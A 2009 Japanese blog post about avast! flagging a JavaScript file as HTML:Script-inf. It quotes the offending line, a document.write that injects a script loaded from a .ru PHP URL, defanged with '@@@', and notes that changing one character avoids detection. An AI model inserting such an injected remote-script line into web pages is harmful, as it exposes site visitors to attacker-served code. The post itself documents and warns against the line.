avast! が特定文字列へ HTML:Script-inf をアラート
2009年12月15日
とあるサイトを見たときに、原因不明なエラーが出まして、
その一部始終のメモとなります。
バージョンは、「avast! version 4.8 Home Edition」です。
ブラウザ環境は Windows-XP + IE です。(FireFoxだと出ない)
avast!が出した警告内容
avast-alert1215 posted by (C)kjirou
↓ウィルス内容部分の拡大
マルウェアの名前 = HTML:Script-inf マルウェアのタイプ = ウイルス/ワーム VPSバージョン = 091214-1, 2009/12/14
んで、上記画像だと消しちゃってますが、
どのファイルに反応しているかというと、とあるJavaScriptファイル(普通に .js の)でした。
何に反応してアラート?
document.write('<script src=http://pok@@@upca.ru/delivery/ug_gl_l_v.php ></script>');
JSソース内の、この行部分に反応してアラートを出しておりました。
!! 途中の @@@ は本当はありません !!
!! ただ、そのまま書くと avast! が反応しちゃうことがあるので、挿入しています !!
この行を消すと、出なくなりました。
もっと簡単にアラートを出す
ローカルに上記ソースを書いて保存してもアラートされます。
例えば、以下の手順で意図的に発生させることができます。
任意の.js拡張子のファイルをデスクトップに作って
↓
上記のdocument.write行のソースを、@@@を取って貼り付けて
↓
テキストエディタの保存を行おうとすると、avast! が警告を出します。
どうも、行と完全一致的に反応するようで、
document.write や script や 謎の海外ドメイン や phpスクリプト名
それぞれに反応はしません。
なので、ドメインでもパスでも、どこか1文字を削って保存した場合は問題有りません。
HTML:Script-inf って?
ググっても出ないし、avast! サイトを軽く探しても見つからないので、
興味のあったり親切な方は、公式サイトを探して教えて下さい・・・。
推測ですが、かつて実害のあったスクリプトのパターンを、
avast! がホワイトリスト的に弾いてるんじゃないかなぁ、と。
現状の実害は?
まぁ、知らない内にサイトに設置してあるJSファイルに書かれてたりしたら、
絶対消した方がいいとだけは言えますけども。